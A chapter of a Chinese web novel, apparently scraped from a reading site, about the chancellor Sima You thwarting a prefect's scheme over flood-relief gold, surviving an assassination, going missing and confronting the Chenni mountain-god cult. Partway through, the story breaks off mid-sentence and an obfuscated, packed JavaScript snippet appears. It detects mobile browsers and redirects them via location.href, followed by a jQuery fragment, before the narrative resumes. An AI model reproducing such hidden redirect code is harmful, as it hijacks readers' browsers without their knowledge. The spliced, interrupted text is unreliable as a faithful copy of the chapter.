27. 神降
作品:《摄政公主(女强)》 刺史道:“不瞒诸位,此次水患确实是极其严重,朝廷也非常重视!燕朝社稷在前,陛下没有忘了各位父老乡亲!朝廷也是拨下了救济大家的钱财的!”
“钱?朝廷要发钱?……”站在前头的难民们交头接耳。此次水患涉及的灾民大多住在大山里头,不怎么富裕,很多人都是以物易物,没什么家资,一听到“钱”这个字,眼睛都直了。
“刺史弄错了吧?”司马游道,“本相没听说有什么赈灾款,在你们手上。”
钱自然是有这笔钱,但到如今都花的差不多了,司马游想不明白瞿西刺史为什么要忽然提起这个。
“相爷请看,不就在这儿吗?”刺史笑道。
红布乍然掀开,是长史刚刚要献给司马游的金饼!
这一下子上百个金饼,金光闪闪,光彩夺目,寻常人一辈子都没有见过一个金饼,更何况是这么多!人群中骤然兴起一阵骚乱,这些人或许没有什么歹意,他们见到这么多金饼,下意识是想要靠的近一点,更近一点!
司马游皱起眉,刺史这是什么意思,这些钱他不收,就要分给百姓?
他淡淡道:“刺史大义,某佩服。”
“下官还未说完。”刺史有礼道,他转向控制不住往前推的百姓,大声道,“这里是两百个金饼,一个金饼可抵一万文铜钱,两百个就是两万文钱。此次受灾的百姓不超过一万,也就是说各位父老乡亲,你们每人足可以收到两百文铜钱,远的不说,今年过冬是不用愁了!假如本官让你们选,你们会选庇护所,还是两百文铜钱?”
不好!
司马游意识到刺史要说什么了,却已阻拦不及。众目睽睽,只听刺史接着道:“本官承认!虽然圣朝的大多数官吏是好的,有仁人爱民之心,但总有一些浑水摸鱼之徒,借着私心从中收取好处,本官深怕,这两百个金饼分下去,各位父老得不到十中之一啊!”
说到最后,刺史忍不住掩面,呜咽了几声。
便一个脸上沾着泥灰的中年男子忍不住道:“刺史真是青天大老爷,以前是我们想错了!乡亲们,刺史老爷说的对呀,要是把这些钱交给底下的蠹虫,分钱的话,恐怕我们收到手不会超过二十文!要是盖房子,那房子谁敢住?”
“是啊。”
“他说的对……”
中年男子穿着破旧,说话却有条理,其余的人听了都有几分认可。原本瞿西官场就不清明,之前年年修河堤,没有一年修好的。刺史利用了百姓对官府的不信任,釜底抽薪,挑唆他们直接放弃安置的屋宇,那司马游再费力抢地修建也没用了。
真是一条毒计。
“一文铜钱可以买一个烧饼。有吃的,我就可以卖力气了!”有一青壮年道。
“娘,我饿……”小孩子听他的话,饿的哭了。
刺史拿的金饼虽然根本不是朝廷所赐,但百姓们已将其看做他们的。若此时否认,反倒不美。
司马游问道:“圣旨上写的是着令修建受灾百姓新居,未曾说直接将钱分给百姓,刺史大人,你想抗旨吗?”
在平头百姓心里,皇帝就是天,哪有违反天的道理,听了司马游的话都吓呆了。
骚乱停了一瞬。
司马游知道这还不够,昂首道:“这些金饼会用于购买良田,到时候分给大家,你们将既有牢固的屋子,又有土地可以耕种。至于钱款去向,本相会亲自监督,必不会让人侵吞。你们若有肚饿的,在公廨前头等一等,本相出钱,命人去酒店买些吃食来。”
“是啊,丞相说的对啊,又有田又有房肯定更好。”
“这么大一个官,肯定不会骗人。”
他们会相信刺史,也会相信司马游。更别说司马游是朝廷的钦差,身份更高。
这么议论着,难民的脸上逐渐露出笑容来。那些流氓模样的人却不乐意了,叫嚣道:“凭什么这些人有田有房,我们就没有?官廨不公!”
他们凶神恶煞的,并不是良善之辈,只是被吸引过来看热闹的百姓也嘀咕了:“是啊,照官府这么说,这些山民还因祸得福了。原先住在山里,现在住官府督造的屋子,还有良田?”
心里那关过不去,抱怨声大了起来,颇有些蠢蠢欲动之势。
司马游神色一凛,喝道:“折冲府将士何在!”
“在!”
公廨里瞬时跑出了两队穿甲带刀的兵士,将围在外面的民众包在了里头。司马游的面前站了十余个人。刀刃雪亮锋利,对着想要冲上来的人。
现场顿时变得安静、寂静,乃至落针可闻。
“清净了?”司马游问道。
“别以为这些灾民是占了什么便宜!”他大喝一声,喊得刺史眉心一跳,“这些能够住进安置地的人,家中无不是死了男丁、绝了后的,要是换成你们家中亲人如此,你们可愿意?告诉你们,本相不仅要严格监督朝廷所拨的钱款去向,还将一一审查入住的灾民,若是家里尚有余财,不到山穷水尽的地步,全都禁止入住。若有胆敢觊觎的,妄图鱼目混珠,一个不赦!”
鸦雀无声。
在司马游的强压下,生出异心的人都暂时被按住了。司马游明白,现在不过是一个警告,要想真正杜绝他所说的发生,还得他之后亲力亲为,多加注意。
他命随从收下刺史的金饼。这么多的金饼,不知道他们几个是从哪儿凑出,不过也算是为瞿西做了好事了。
确认收下后,司马游返身走进公廨,监督之策如何开展,还得仔细想想,这倒变成眼下最要紧的了。
他离开的前一息,听到了一句不知谁发出的嘲讽,声音很轻,砸在他心里却重若千钧:“他靠着他姐姐不知道捞了多少,如今来消遣我们几个。”
一刹那,他的心里宛如投入一块巨石,掀起千重浪花,然而心却随那块巨石一直止不住地往下沉。
他知道这句话一定出自刺史、长史、司马此三人之口,按照说话的习惯猜测,说这话的人很可能是从未和他交过手的司马。
无数个早出晚归的日夜快速从他脑海里翻过,最后还是这句话最鲜明。
他没有停下争辩,在这里争辩对他也毫无意义。
他脚步不停,离开了恢复喧闹的众人。
……
信使道:“后来,丞相在疏浚河道时趁兴到溶月谷游览,就碰到了公主所说的血月会的刺客。相爷在小的们保护下没有受伤,折冲府的统领却被杀了。”
这是幸运中的大不幸。折冲府的兵卒只有统领听命于司马游,也只有统领能够指挥这一千五百人,如臂指使。统领阵亡,剩下的人就如一盘散沙,留下的漏洞根本不可能在短时间内补上。
燕笙道:“这个刺客一定是瞿西刺史等人的手笔。”
他是故意的,杀不了司马游,就断他的手。
“不错,相爷在遭受刺杀后对我们说,那安置难民的地方一定藏有不可触及的秘密。瞿西刺史等人愿意冒天下之大不韪,百般为难他这个朝廷钦差。”
“舅父之后还做了什么?”燕笙追问。
“后来,我们就开始查探这个刺客的身份。一开始,我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982367|193578||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们还不知道他来自血月会,是丞相早就知道瞿西有妖教盛行,我们调查一番才知道它背后隐藏着一个杀手组织,名为血月会。”
“等等,”燕笙道,“你是说,血月会不是独立存在的,它有一个教会替它打掩护?”
信使点头道:“正是。这是我们耗费了好一顿功夫才打听到的。”
那就和吴南良的话对上了,为什么吴家父子也不知道血月会出自何处,因为它本就不是单独存在于江湖之中的。
信使交代完毕:“后来,相爷就失踪了,是属下保护不力,请掌书记和公主责罚!”
灵夫人身体一晃,用手掩住脸庞,事实在前,司马游不是已经身陨,也肯定命悬一线,她什么话也说不出了。
掌书记无声叹息,安慰她道:“夫人不要太过忧心了。”
“先别急着认罪。”燕笙叫他起来,“你再跟本宫说说,舅父是在何时、何地,怎样失踪的。”
“这……”信使回忆道,“相爷失踪那天,并没有什么特别的。”
司马游在刺杀中,没有受什么重伤。
他预料到事态紧张,手上的牌朝不保夕,反倒加快了对卫河和茶马湖的调查,可惜原本盘踞在此二地的两家早在官府开始修建民居的时候将势力打扫得干干净净,他们的人什么也看不出来。
除了这一条线索外,司马游还开始调查当地的教会塵尼教。
那杀手死了之后,手腕上留下一枚血红色的印记,司马游及其仆从从未见过,也不知从何查起。只能开始关注瞿西万人敬仰的塵尼教。
塵尼教据说起源于瞿西的飞虎山脉,供奉的是飞虎山神。天下皆知,瞿西这些年山崩地陷,依靠飞虎山脉生存的百姓本就朝不保夕。塵尼教自兴起后宣传的山神震怒论,更是让生活在城镇里的百姓也惴惴不安,无数瞿西人争相加入塵尼教,捐财献银,祈求平安。
塵尼教每逢初一十五都会在瞿西州城主道上巡游,为百姓点洒甘露,赐福于民。
司马游一人突兀地出现在塵尼教教众的必经之地,是众人没有料到的。外围的信众里,有一些是受过司马游恩惠的灾民,他们下意识就觉得司马游要阻拦法事,却又诚心地信奉着塵尼教,见到他便愣在当场,不知怎么样才好。
祈福奏乐之声一时骤停。
塵尼教山神神像旁边的两个护法眼神顿时变得锐利起来。
一个上了年纪的老人家奓着胆子,颤巍巍道:“丞相大老爷,塵尼教的仙师都是好人哪,你要捉人,就捉老妇人我去吧。”
“老婆婆误会了。”司马游微微一笑,“我是来拜神的,不是赶神的。即便真像你所说,我一个人又怎么动得了手呢?”
“官老爷,你要是想拜神,现在就拜吧!”左护法粗声道,“拜了就赶紧走,父老们看见你就害怕。”
听了这无礼之语,司马游并不发怒,只是道:“本官要拜,就拜真神,假神我可不拜。”
“你!”左护法长得粗莽,发怒时真有几分金刚怒目之相。
“本官说的不对吗?”司马游状似疑惑道,“山神六臂挥舞,才是真神显灵之时。”
原来,塵尼教供奉着山神在瞿西城内巡游,遇到太阳高照到头顶,人的影子缩为最小时,神像的六臂都会忽然开始活动做法,与此同时,万丈金辉从山神鎏金的神像上发送出来,照到围观民众上,谓之“神降”。
这也是塵尼教在瞿西长盛不衰的缘由,无数人趋之若鹜。
可是这日分明是个阴天,司马游问这个,用意为何呢?

